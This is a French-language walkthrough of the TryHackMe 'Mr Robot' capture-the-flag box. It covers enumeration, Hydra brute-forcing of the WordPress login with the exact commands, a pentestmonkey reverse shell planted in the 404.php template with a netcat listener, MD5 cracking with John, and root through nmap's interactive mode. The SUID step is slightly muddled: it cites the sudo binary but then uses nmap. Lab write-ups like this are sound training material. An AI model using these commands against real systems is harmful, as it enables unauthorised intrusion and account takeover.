Mr Robot – TryHacKme WriteUp OSCP Like
Based on the Mr. Robot show, can you root this box?
Mr Robot de TryHackMe est une box parfait pour une préparation à l’OSCP. Il faudra utiliser Hydra afin de pouvoir se connecter à WordPress. C’est une box qui commence à datée un peu. Elle reste toutefois très intéressante dans la méthode utilisée pour acquérir les identifiants de connexion à WP.
Enumération
Commande :
nmap -T5 -sC -sV -p- 10.10.167.178
Ports ouverts :
80 HTTP
443 HTTPS
Il n’y a que deux ports ouverts, et uniquement des ports liées à un ou deux sites web.
Enumération web
Commande :
dirb http://10.10.167.178
Résultats importants :
/robots.txt
/login → c‘est un accès à un site WordPress.
Le fichier robot nous donne deux fichiers fsocity.dic et key-1-of-3.txt
Récupération du fichier fsocity.dic :
Pour récupérer le fichier fsocity.dic, il faut aller sur l’URL http://10.10.167.178/fsocity.dic
Le fichier contient 858160 lignes, il faut voir si on peut réduire leurs nombres en supprimant tous les fichiers qui ne sont pas uniques.
Commande :
cat fsocity.dic | sort | uniq > fsocietyuniq
Burte Force login WordPress
À noter que cette version de WP est vulnérable au fait qu’il donne invalid username lors d’une tentative d’accès erronée.
En effet, si on tente de se connecter avec un nom d’utilisateur au hasard, WP répondra par « invalid username »
essai avec test:test
Hydra
Hydra va nous donner la possibilité de brute forcer le login et le mot de passe. Auparavant, il faut connaitre la méthode utilisé pour la connexion. BurpSuite va nous permet de le faire.
Interception de la requête de login :
Les informations POST /wp-login.php et log=test&pwd=test&wp-submit=Log+In dans la requête nous donne les informations que l’on devra donner à Hydra. Il en manque une dernière, c’est la réponse en cas d’erreur de login.
Pour cela, il faut envoyer cette requête dans le repeater de BurpSuite et faire send. Sur le résultat que l’on reçoit, l’information d’erreur est représenter par ce message : Invalid username
Avec toutes ses informations, on va configurer Hydra pour brute forcer le nom d’utilisateur.
hydra -L f_uniq.dic -p fake 10.10.167.178 http-post-form ‘/wp-login.php:log=^USER^&pwd=^PASS^& wp-submit=Log+In:F=Invalid username’
Burte Force password WordPress
Concernant le mot de passe, on va utilise le même principe que précédemment, mais en mettant le bon login et un mot de passe erronée et on va récupérer la requête pour prendre les informations qu’il nous faut.
Hydra Again
Il reste plus qu’à relancer Hydra avec une commande différente.
Commande :
hydra -l elliot -P fsocietyuniq 10.10.167.178 http-post-form ‘/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect’
Initial FootHold
Avec les identifiants obtenus, on peut se connecter à l’interface de gestion de WordPress. Il existe un moyen très simple d’obtenir un accès au serveur. Il s’agit de modifier le contenu d’une page existante, par exemple 404.php.
Dans la barre de menu sur la gauche, il faut cliquer sur Appearance, puis sur Editor et sélectionner sur la droite 404.php
Il faut supprimer tout ce qui se trouve à l’intérieur et le remplacer par le reverse_shell de pentestmonkey
La seule modification à faire et de changer l’adresse IP par votre IP et mettre le port que vous voulez. ( Qu’il faudra utiliser avec Netcat)
N’oubliez pas de valider la modification par Update file…
Mise en place d’un écouteur Netcat :
nc -nlvp 1234
Exécution du shell :
http://10.10.167.178/404.php
Une fois le reverse shell en place, il faut l’upgrader.
On se retrouve avec un utilisateur daemon. Il n’est pas possible de faire sudo -l sans son mot de passe.
Avant de se lancer dans une énumération approfondi avec des outils comme linpeas, on peut trouver dans le dossier /home de robot deux fichiers dont un qui ressemble à un mot de passe.
John
Le format du mot de passe en est MD5. Avec John, on va le casser.
Commande :
john password.raw-md5 –format=Raw-MD5 –wordlists=/usr/share/wordlists/rockyou.txt
Connexion sur le compte robot
Commande :
su robot
password :
Le fichier key-2-of-3.txt est maintenant lisible. Pas de possibilité de faire sudo -l.
Enumération locale
On recherche s’il existe des SUID mal configurer ou exploitable.
Commande :
find / -type f -user root -perm -4000 -exec ls -ldb {} \; 2>>/dev/null
Dans la liste des résultats on trouve ceci :
-rwsr-xr-x 1 root root 155008 Mar 12 2015 /usr/bin/sudo
Il existe une vulnérabilité très simple à exploiter pour passer root.
Commande :
nmap –interactive
!whoami
!sh
That’s all folks
Merci d’avoir pris la peine de venir sur le site de lire ce Write Up
J’espère qu’il vous a plus et qu’il vous apprit des nouvelles choses.
N’hésitez pas à laisse un commentaire ou à partager cet article.